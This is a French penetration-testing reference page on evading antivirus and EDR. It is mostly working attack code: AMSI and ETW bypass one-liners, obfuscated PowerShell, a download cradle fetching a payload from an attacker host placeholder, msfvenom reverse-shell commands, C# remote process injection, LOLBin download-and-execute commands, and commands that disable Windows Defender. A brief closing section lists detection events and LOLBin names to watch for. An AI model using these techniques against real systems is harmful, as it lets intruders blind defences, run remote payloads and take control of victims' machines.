---
title: "AV/EDR Evasion — Obfuscation, AMSI Bypass, Shellcode Encoding"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [evasion, amsi, powershell, shellcode, obfuscation, living-off-the-land, defender, edr, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Contexte

```
Niveaux de défense à contourner :
  1. Signature AV (hash, patterns de bytes statiques)
  2. Heuristique AV (comportements suspects)
  3. AMSI (Antimalware Scan Interface) — analyse PowerShell en mémoire
  4. EDR (Endpoint Detection & Response) — telemetry syscall, comportement
  5. ETW (Event Tracing for Windows) — trace des appels API
```

---

## Bypass AMSI

```powershell
# AMSI est chargé dans chaque session PowerShell
# Il intercepte les scripts avant exécution et les envoie à Windows Defender

# Bypass 1 — Patch de la fonction AmsiScanBuffer en mémoire
# (ne pas exécuter tel quel — à utiliser en contexte lab autorisé)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a){if ($b.Name -like "*iUtils"){$c=$b}};
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d){if($e.Name -like "*Context"){$f=$e}};
$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

# Bypass 2 — forcer un refus d'initialisation AMSI
[Runtime.InteropServices.Marshal]::WriteByte((([Ref]'').Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static")).GetValue($null), 1)
```

```powershell
# Obfuscation de strings pour passer les signatures statiques
# Diviser les mots-clés détectés
$cmd = "IEX" -replace "IE", "In"+"vo"+"ke-Expr"
# Ou : concat de caractères
$amsi = [char]65+[char]109+[char]115+[char]105   # "Amsi"

# Encoder la commande en base64
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('IEX(New-Object Net.WebClient).DownloadString("http://{{LHOST}}/payload.ps1")'))
powershell.exe -EncodedCommand $encoded
```

---

## Obfuscation PowerShell

```powershell
# Invoke-Obfuscation (outil dédié)
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
# ENCODING → BASE64 → exécuter le résultat

# Techniques manuelles :
# Backtick insertion
In`voke-Expression "whoami"
I`E`X("whoami")

# Concaténation de variables
$a = "Invoke"; $b = "-Expression"; & ($a+$b) "whoami"

# Alias
Set-Alias -Name invoke -Value Invoke-Expression
invoke "whoami"

# Reverse string
-join ("noisserp-xe-ekovni"[-1..-18])

# Format string
"{0}{1}" -f 'Invoke','-Expression' | IEX
```

---

## Shellcode Encoding & Injection

```bash
# msfvenom — encodage du shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} \
  -e x64/xor_dynamic -i 5 -f raw -o shellcode.bin

# Sortie Python (pour injection manuelle)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} \
  -f python -o shellcode.py

# Cryptage custom XOR du shellcode
python3 << 'EOF'
shellcode = b"\xfc\x48\x83\xe4..." # shellcode brut msfvenom
key = 0x41
encrypted = bytes([b ^ key for b in shellcode])
print("b'" + ''.join(f'\\x{b:02x}' for b in encrypted) + "'")
EOF
```

```csharp
// C# — Injection de shellcode dans un processus distant (process injection)
using System;
using System.Runtime.InteropServices;

class Inject {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, int c);
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr p, IntPtr a, uint s, uint t, uint pr);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr p, IntPtr b, byte[] f, uint s, out int w);
    [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr p, IntPtr a, uint s, IntPtr f, IntPtr pa, uint c, IntPtr ti);

    static void Main(string[] args) {
        byte[] shellcode = new byte[] { /* shellcode XOR-decrypté ici */ };
        int pid = int.Parse(args[0]);   // PID du processus cible
        IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
        IntPtr alloc = VirtualAllocEx(hProc, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
        WriteProcessMemory(hProc, alloc, shellcode, (uint)shellcode.Length, out _);
        CreateRemoteThread(hProc, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
    }
}
```

---

## Living Off the Land (LOLBins)

```powershell
# Télécharger et exécuter via des binaires Windows légitimes

# certutil — télécharger un fichier
certutil.exe -urlcache -split -f http://{{LHOST}}/payload.exe C:\Windows\Temp\p.exe

# bitsadmin — téléchargement silencieux
bitsadmin /transfer job /download /priority foreground http://{{LHOST}}/payload.exe C:\Windows\Temp\p.exe

# mshta — exécuter du VBScript/JScript
mshta.exe http://{{LHOST}}/payload.hta
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -c whoami"":Close")

# regsvr32 — exécuter un COM scriptlet (AppLocker bypass)
regsvr32.exe /s /n /u /i:http://{{LHOST}}/payload.sct scrobj.dll

# wscript / cscript — exécuter JScript
wscript.exe //E:jscript payload.js
cscript.exe //nologo payload.vbs

# rundll32 — exécuter DLL custom
rundll32.exe C:\Windows\Temp\evil.dll,EntryPoint

# InstallUtil — bypass CLM + AppLocker
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
```

---

## Désactiver / Contourner Windows Defender

```powershell
# (Nécessite admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true

# Exclusions (plus discret que désactiver)
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionExtension ".exe,.dll"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Supprimer les définitions (si accès local)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

# Désactiver via registre (persistant)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
  -Name "DisableAntiSpyware" -Value 1
```

---

## Contournement ETW (Event Tracing for Windows)

```powershell
# ETW logue les activités PowerShell au niveau kernel
# Patcher ETW en mémoire (discrèt, non persistant)
$a = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$b = $a.GetField('etwProvider','NonPublic,Static')
$c = $b.GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($c,0)
```

---

## Défense — Détection de l'évasion

```powershell
# PowerShell Script Block Logging (Event ID 4104) — même avec AMSI bypass
# → Les scripts décodés apparaissent dans le log

# Constrained Language Mode — bloque les reflexion et type manipulation
$ExecutionContext.SessionState.LanguageMode   # ConstrainedLanguage si actif

# WDAC (Windows Defender Application Control) — plus fort qu'AppLocker
# → Bloque les LOLBins non signés par Microsoft

# Sysmon Event ID 8 (CreateRemoteThread) — détecte l'injection de shellcode
# Sysmon Event ID 10 (ProcessAccess) — accès inter-processus suspect

# Surveiller les téléchargements via LOLBins
Get-WinEvent -LogName Security | Where-Object {
  $_.Message -match "certutil|mshta|regsvr32|bitsadmin"
}
```

<Warning>
Ces techniques sont détectées par les EDR modernes (Defender for Endpoint, CrowdStrike, SentinelOne) qui utilisent la télémétrie comportementale, pas uniquement les signatures. Un bypass AMSI seul ne suffit plus — les EDR loguent les appels API suspect indépendamment d'AMSI. En engagement réel, évaluer d'abord la maturité du SOC client avant de choisir la technique.
</Warning>
